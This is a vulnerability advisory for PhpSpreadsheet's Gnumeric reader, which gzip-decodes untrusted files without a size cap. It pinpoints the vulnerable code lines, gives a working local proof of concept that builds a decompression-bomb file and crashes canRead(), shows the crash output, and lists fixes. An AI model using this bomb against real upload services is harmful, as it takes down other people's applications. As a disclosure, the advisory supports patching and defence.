PT-2026-64046 · Packagist · Phpoffice Phpspreadsheet

Publicado

2026-07-23

·

Atualizado

2026-07-23

CVSS v3.1

7.5

Alta

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.
This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:
  • src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead().
  • src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing.
  • src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.
The vulnerable expansion is in gzfileGetContents():
  • src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with file get contents().
  • src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap.
  • src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.
Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Impact

A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.
In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory limit=64M at Reader/Gnumeric.php:195.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.
bash
docker run --rm --network none -i 
 -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app 
 -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version="1.0"?><gnm:Workbook xmlns:gnm="http://www.gnumeric.org/v10.dtd">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file put contents("/tmp/bomb.gnumeric", $gz);
printf("compressed size=%d expanded size=%d
", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory limit=64M -d display errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOfficePhpSpreadsheetReaderGnumeric();
var dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SH
Observed output:
text
compressed size=97811 expanded size=100663390
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP  1. {main}() Command line code:0
PHP  2. PhpOfficePhpSpreadsheetReaderGnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP  3. PhpOfficePhpSpreadsheetReaderGnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP  4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

  • Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files.
  • Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
  • Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
  • Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly.
  • Fail closed with a recoverable ReaderException when limits are exceeded, rather than allowing a PHP fatal memory error.

Correção

Resource Exhaustion

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Enumeração de Fraquezas

CWE-400CWE-409

Identificadores relacionados

GHSA-2MRG-GJXQ-2GVR

Produtos afetados

Phpoffice Phpspreadsheet